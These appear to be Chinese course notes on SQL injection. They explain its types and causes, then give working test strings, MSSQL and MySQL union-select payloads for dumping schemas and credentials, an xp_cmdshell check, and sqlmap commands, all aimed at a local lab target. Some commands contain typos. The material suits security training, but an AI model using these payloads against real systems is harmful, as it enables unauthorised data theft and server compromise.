第一節:
1、學習并掌握常見的資料庫指令、文法
2、掌握HTTP協定中常見的請求方法及參數含義
3、要靈活地運用手工注入和工具輔助注入
4、掌握SQL注入的不同注入方式
使用者在上網時檢視一個網站時
通過用戶端進行請求->腳本引擎構造語句向資料庫發起請求->資料庫查詢記錄->将查詢到的記錄傳回給腳本引擎->用戶端就能檢視到相應資訊
[圖檔]
課後習題
1、MYSQL和SQL server資料庫中的預設的表有哪些?
MySQL自帶四個資料庫:
information_schema
performance_schema
mysql
test
informance_schema
儲存了MySQl服務所有資料庫的資訊。
具體MySQL服務有多少個資料庫,各個資料庫有哪些表,各個表中的字段是什麼資料類型,各個表中有哪些索引,各個資料庫要什麼權限才能通路。
mysql
儲存MySQL的權限、參數、對象和狀态資訊。
如哪些user可以通路這個資料、DB參數、插件、主從
performance_schema
主要用于收集資料庫伺服器性能參數
提供程序等待的詳細資訊,包括鎖、互斥變量、檔案資訊;
儲存曆史的事件彙總資訊,為提供MySQL伺服器性能做出詳細的判斷;
對于新增和删除監控事件點都非常容易,并可以随意改變mysql伺服器的監控周期,例如(CYCLE、MICROSECOND)
test
沒有東西
2、常見的SQL注入工具有哪些?
第二節:
SQL注入定義、劃分及形成原因
1、SQL注入定義及危害
定義:利用現有應用的特性,攻擊者通過在web表單、url等可輸入資料的地方插入SQL語句并原有SQL語句被代庫執行。SQL指令就是前端應用程式和後端資料庫之間的接口
危害:資料庫敏感資訊洩露;網頁被篡改、挂馬;資料庫被惡意操作;伺服器被遠端控制,被安裝後門
2、SQL注入常見分類
按資料類型分類:數字型(Integer)and 1=1、字元型(String)and ‘1’=‘1’
按傳回結果分類:顯錯注入(Error-Based)、盲注(Boolean/Time-Based Blind)
3、SQL注入如何形成
1、資料與代碼未嚴格分離
2、使用者送出的參數資料未做充分檢查過濾被代入到SQL指令中,改變了原有的SQL指令的語義,且成功被執行
4、SQL注入常見過程
用戶端:參數值等資料被修改->服務端:未經檢查和過濾即将被修改的資料注入到SQL指令中,SQL指令功能被修改->資料庫引擎:執行被修改後的SQL指令->服務端:将注入的結果傳回給用戶端->用戶端:根據上一次注入擷取到的敏感資訊構造注入語句進一步注入
5、SQL注入在滲透測試過程中的作用
繞過登入驗證:使用萬能密碼登入網站背景等
擷取敏感資料:擷取網站管理者賬号、密碼等
檔案系統操作:列目錄。讀取、寫入檔案
系統資料庫操作:讀取、寫入、删除系統資料庫等
執行系統指令:遠端執行指令
課後習題:
1、從網際網路(wooyun漏洞報告平台、wooyun wiki等)上搜集不同類型的SQL注入案例
2、對搜集來的不同類型SQL注入案例進行分析(顯錯注入?盲注?)
第三節:
SQL注入尋找、利用及判斷依據
1、SQL注入漏洞頻繁出現
URL參數、HTTP標頭、搜尋框、目錄名、檔案名–>未經檢查和過濾即被代入到SQL語句中執行(注入漏洞)
最普遍的注入漏洞是由于參數值過濾不嚴導緻的。
2、SQL注入漏洞如何尋找
使用工具:
優點:自動化、範圍廣、效率高
缺點:誤報、漏報、測試方法有限
手工測試:
優點:測試方法靈活
缺點:效率低,範圍窄,因測試者技術水準而異
常用的SQL注入工具:Safe3wvs、BurpSuite、Appscan、ACUNETIX WVS
3、SQL注入漏洞判斷依據
根據用戶端傳回的結果來判斷送出的測試語句是否成功被資料庫引擎執行,如果測試語句被執行了,說明存住注入漏洞。
構造測試語句->送出請求->分析傳回結果->符合預期->存在SQL注入漏洞->不符合預期結果(不存在SQL注入漏洞)->構造測試語句
4、常見SQL測試語句和技巧
數字型:and 1=1/and 1=2 or 1=1/or 1=2 + - * / > < <= >= 1 like 1/1 like 2
字元型:and ‘1’=‘1/and ‘1’ =‘2 or ‘1’=‘1 or ‘1’ =‘2’ # +’ /+’ 1、-‘ 0/-’ 1、>、<、 <=、>= 1’ like ‘1/1’ like '2
SQL server 和Oracle 注釋 – 單行注釋 用于多行注釋
課後習題:
1、本地搭建web應用系統(dvwa),嘗試使用手工、工具對其系統進行SQL注入漏洞的檢測
2、對檢測出的漏洞(SQL注入)進行進一步利用,嘗試讀取敏感資訊(如:作業系統版本資訊、資料庫版本資訊、目前資料庫使用者及密碼、應用系統管理使用者資訊等)
第四節:SQL注入示例
1、SQLserver 注入常見的測試語句
and exists(select * from sysobiects ) //判斷資料庫是否為SQLServer
and exists(select * from tableName)//判斷某表是否存在…tableName為表名
and 1=1 (select @@VERSION) //SQLserver版本
and 1=1 (select db_name())//目前資料庫名
and 1=1 (select @@servername)//本地服務名
and 1=1 (select IS_SRVROLEMEMBER(‘sysadmin’))//判斷是否是系統管理者
and 1=1 (select IS_MEMBER(‘db_owner’))//判斷是否是庫權限
and 1=1 (select HAS_DBACCESS(‘master’))//判斷是否有庫讀取權限
and 1=1 (select count(*)from master.dbo.sysobjects where xtype =‘X’ and name =‘xp_cmdshell’)//判斷XP_CMDSHELL是否存在
2、SQLServer手工注入執行個體示範
本地環境配置:IIS 6.0 + ASPX + SQLServer 2008
目标URL:http://192.168.0.7/sql.aspx?id=1
拿到url之後,判斷url是否存在注入
http://192.168.0.7/sql.aspx?id=1 and 1=1 如果傳回正常界面
http://192.168.0.7/sql.aspx?id=1 and 1=2 傳回一個錯誤頁面,就可以判斷這個url是存在注入的
http://192.168.0.7/sql.aspx?id=1 and exists(select * from sysobjects)–傳回一個正常頁面,證明是使用sqlserver資料庫的,
接下來判斷資料庫版本等等
http://192.168.0.7/sql.aspx?id=1 order by 1 判斷有幾列,如果傳回錯誤,就可以判斷有幾列了
http://192.168.0.7/sql.aspx?id=1 union select 1,2,3,4 from admin
http://192.168.0.7/sql.aspx?id=1 group by admin ,id having 1=1 –
工具,sqlmap使用
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --dbs 擷取所有的資料庫
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --current -db 擷取目前資料庫名
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --D 資料庫名 --tables 擷取目前資料庫表名
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --D 資料庫名 -T admin --culmns 擷取表中字段
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --D 資料庫名 -T admin --dump 擷取所有字段内容
課後習題:
1、本地部署測試環境(IIS 6.0 +ASPX+SQL Server 2008)
2、對搭建好的測試環境進行SQL注入漏洞檢測與利用,并嘗試擷取資料庫敏感資訊、執行系統指令等
第五節:MYSQL注入
1、Mysql注入常見測試語句
常見函數:
user() //資料庫使用者名
current_user() //目前資料庫使用者名
database() //資料庫名
version() //MySQL資料庫版本
@@datadir // 讀取資料庫路徑
@@basedir //MySQL安裝路徑
@@version_compile_os //擷取作業系統版本
load_file() //MySQL讀取本地檔案的函數
查詢MySQL基本資訊和資料庫:
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查詢表名:
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=資料庫的16進制編碼/*
查詢字段和資料:
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_name=表名的16進制編碼 and table_schema=資料庫的16進制編碼/*
and 1=2 union select 1,2,3,字段1,5,字段2,7,8,from 資料庫.表/*
2、MySQL手工注入執行個體示範
3、MySQL工具輔助注入執行個體示範
sqlmap.py -u “url” -p id --dbms mysql
http://drops.leesec.com/#!/drops/1268.SQL%E6%B3%A8%E5%85%A5%E5%85%B3%E8%81%94%E5%88%86%E6%9E%90 //寫的可好了